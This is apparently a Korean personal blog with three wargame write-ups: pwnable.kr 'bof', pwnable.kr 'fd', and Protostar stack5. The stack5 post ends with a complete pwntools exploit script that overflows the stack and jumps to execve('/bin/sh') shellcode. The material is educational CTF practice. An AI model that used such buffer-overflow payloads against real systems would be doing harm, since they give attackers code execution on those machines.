pwnable.kr bof 문제입니당 

 

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

 

이문제는 바이너리랑 코드를 줍니당 

 

바이너리 받아서 chmod 755 bof 해서 실행파일로 만들어 줬습니당 

 

코드입니당.

 

main에서 0xdeadbeef 를 인자로 func 함수로 넘겨주고 

 

func 함수에서는 인자로 넘어온 key의 값이 0xcafebabe 와 같아지면 해결되는 문제입니다. 

 

get 함수에서 문자를 받아올때 문자 길이를 체크하지 않아서 bof 가 발생 가능한 원리입니당. 

 

bof source code 

 

일단 bof 를 실행시켜 보고 get 으로 문자열 받을때 브포를 걸어서 AAAA 입력값을 줬습니다. 

get에서 AAAA 입력

 

그리고 cmp 보면 ebp + 0x8 과 0xcafebabe 를 비교하고 있어 ebp + 0x8 값이 무엇인지 확인해 봤고 당연히 0xdeadbeef 임을 확인 했습니당 

ebp+0x8 확인

그리고 스택을 뒤져보니 

 

내가 입력한 AAAA 가 잘 들어가 있는걸 확인 하였고 ebp+0x8 (0xdeadbeef) 값도 확인이 잘 되었습니당.

 

여기서 deadbeef 가 스택에 들어있는 이유는 main 함수에서 func 함수에게 인자로 deadbeef 를 넘겨줬기 떄문에 func 함수가 실행되면 인자가 스택에 들어가는 겁니당 . 

 

그래서 우리의 목표는 저 deadbeef 를 cafebabe 로 바꿔야 하기때문에 크기를 계산해줬습니당 

 

0xffffd320 - 0xfffd2ec = 0x34

 

hex 니까 dec 로 바꾸면 52 즉 52바이트 만큼 더미를 채우고 cafebabe 를 뒤에 입력해주면 성공 ! 

Stack view 

 

그래서 서버에서 했는데 안되고 ;;

 

두번째 방식으로 했는데 되었습니당. 

 

이유가 뭔지 궁금하넹 .. 아시는 분은 댓글로 알려주세염 

'개인공부 > pwnable' 카테고리의 다른 글

[pwn] dreamhack Sint  (0) 2022.01.10
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

pwnable.kr 1번 (?) fd 입니당. 

 

저는 칼리 64비트에서 진행하였습니다 pwnable.kr 서버에 접속해서 하면 느려서 로컬로 다운받아와서 진행했습니당

 

로컬로 다운받는 방법은 

 

scp -P 2222 -r fd@pwnable.kr:/home/fd /root/Desktop/pwnable/(여기는 자기 경로) 입니당. 

 

소스코드를 봅니다. 

fd.c source code 

arg를 넣어줘야 실행되게 되어있네염 확인해 봅니다. 

 

 

arg 안넣었을때 출력

맞네용 대충 arg 를 넣어보면 

 

다음 사진과 같이 Linux file IO 에 대해 배워보라고 하네용

 

 

소스코드를 다시 봅니다.

fd.c source code 

 

arg[1] 로 들어온 값을 atoi function 을 통해 정수로 변환하고 0x1234(hex) 를 빼주고 있네요

그리고 int len =0; 으로 초기화 하고 len = read(fd , buf, 32); 로 읽어오네요 

 

read function 의 원형은 read(int fd, void *buf, siae_t nbytes) 로 fd(file Discriptor) 가 참조하는 파일의 오프셋에서 nbytes 만큼 읽어 buf에 저장하는 함수 입니당. 

 

그니까 여기서 보면 fd가 참조하는 파일의 오프셋에서 32bytes 만큼 읽어 buf 에 저장 하겠죵 

 

 

File Discriptor란 ! 

1. 운영체제에서 파일을 관리하기 위해 파일마다 부여한 번호 

2. 파일을 열게되면 번호가 파일에 부여되고 디스크립터 테이블에 저장 

3. 0 ~ 2 번은 이미 할당되에 있기 때문에 파일에 부여하는 번호는 3부터 시작 

 

이란 특징을 가지고 있으며 0 ~ 2 번은 차례대로 stdin(표준입력), stdout(표준출력) , stderr(표준에러)  를 나타냅니다 

 

 

다시 돌아와서 표준 입력 즉 read fd 가 0이 되게 만들어서 buf 에 LETMEWIN 을 입력할 수 있게 만들어 준다면 문제를 해결할 수 있겠네요 

 

앗 ! fd 는 처음에 arg[1]에 atoi 하고 -0x1234 하여 나오는 값이니까 -0x1234 가 답이겠네요! 

 

0 (File Descriptor) = x - 0x1234 

 

hex 값이니까 dec 로 바꿔주면 !

 

4660 입니다.

 

arg[1] 에 4660 을 줘서 실행시키면 fd 가 0이 되어 질테고 이는 read 함수의 file Descriptor 를 0으로 만듬으로써 표준 입력을 받게 하고, 입력으로 LETMEWIN 이라는 단어를 buf 에 저장하게 해서 최종적으로는 flag 를 획득하는 문제였습니당.

'개인공부 > pwnable' 카테고리의 다른 글

[pwn] dreamhack Sint  (0) 2022.01.10
pwnable.kr bof 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

5번 문제풀이 입니당 


먼저 소스코드를 보면 다음과 같아염 


원래 4번까지는 흐름을 바꿔서 실행시키면 됬는데 이건 그런게 없어요 


그러면 쉘코드를 작성해서 해야겠구나 생각했어요 



메인함수도 결국 호출되어 져서 실행되는 거고 


RET를 하면 원래 흐름으로 돌아가겠죠 ? 


그니까 예를들어 걸어가다가 (원래흐름 ) - 뛰어요( 메인 함수 호출) - 그리고 다시 걸어요.. 


음 예를 든게 더 이상한가 ? 


암튼 말하고자 하는 바는 메인함수도 결국 함수니까 다른곳에서 호출 되어진거고, 그러면 당연히 RET가 있다는 말이에요 


네네 그러면 어떻게 해야 할까요 ? 


저는 보고 NOP Slide를 떠올렸어요 


그래서 payload 구성을 어떻게 할꺼냐면 !


payload = buffer + Shell_addr + NOP + Shell_code 이렇게 할 꺼에요 


여기서 NOP ( \x90)을 넣는 이유는 공격의 성공률을 높이기 위함이라는데.. 저는 자세한 이유는 잘 모르겠어요 


페이로드 설명을 간단히 하면 


쉘코드를 메모리에 올리고 main Ret 주소를 찾은다음에


main Ret 가 쉘코드로 점프하게 하면 끝이에요 




그렇다면 우리가 해야 할 일은 무엇일까요 ?


첫번째로 main 의 RET를 찾아야 해요 


ret를 찾는 방법은 간단하고 앞에서 많이 했기 때문에 스킵할께요 ! (main ret offset 72)




두번쨰로 nop 가 들어가고 그 뒤의 shell_code 주소를 찾아야 해요 


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90CCCCCCCCCCCCCCCCCCCCCCCC


그래서 이렇게넣어준다음에 메모리 위치를 찾으려 했어요 


A , B, C 의 의미를 말씀드리면 


A = 버퍼를 채운거에요 , 그러므로 buffer size + ebp 겠죠 ?


B = 이게 원래 main ret 부분이에요 나중에 여기에 shell code address가 들어갈꺼에요


C = 쉘 코드 부분이에요 


그래서 메모리를 까보면 다음 사진과 같아여



근데 0x90 이 0x3039785c 로 들어가는데.. 왜그런지 모르겠어요 


쨌든 보면 0x7fffffffe290 주소에 CCCC ... 즉 shell code 가 들어간걸 확인할 수 있어요 


그래서 원하는것을 다 구해서 익스 짜서 돌렸는데 안먹어요 .. 


그래서 어태치 해서 디버깅 해봤어요 





근데 fe290에 원하는 값이 안들어가있는걸 확인해써요 (아 참고로 위 사진에선 NOP 빼고 B*100으로 넣었어요  그래서 42가 들어가있는거에요 )


fe290 말고 424242가 끝나는 지점 fe1b4부터 쉘코드가 올라가있는걸 확인했어요 


그래서 귀찮으니까 B*96개 넣고 fe1b0 을 shell_code address로 수정해써요 



그래서 성공해써요 


익스플로잇 스크립트는 다음과 가타여



from pwn import *


Shell_addr = p64(0x7fffffffe1b0)


buf =  ""

buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"

buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"

buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"

buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"



payload = "A"*72 + Shell_addr + "B"*96 + buf



p = process(['./stack5'])

p.sendline(payload)


print p.recvrepeat(1)

p.interactive()









'개인공부 > pwnable' 카테고리의 다른 글

pwnable.kr bof 문제  (0) 2019.10.21
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19
[protostar] stack2 문제풀이  (0) 2018.10.14

+ Recent posts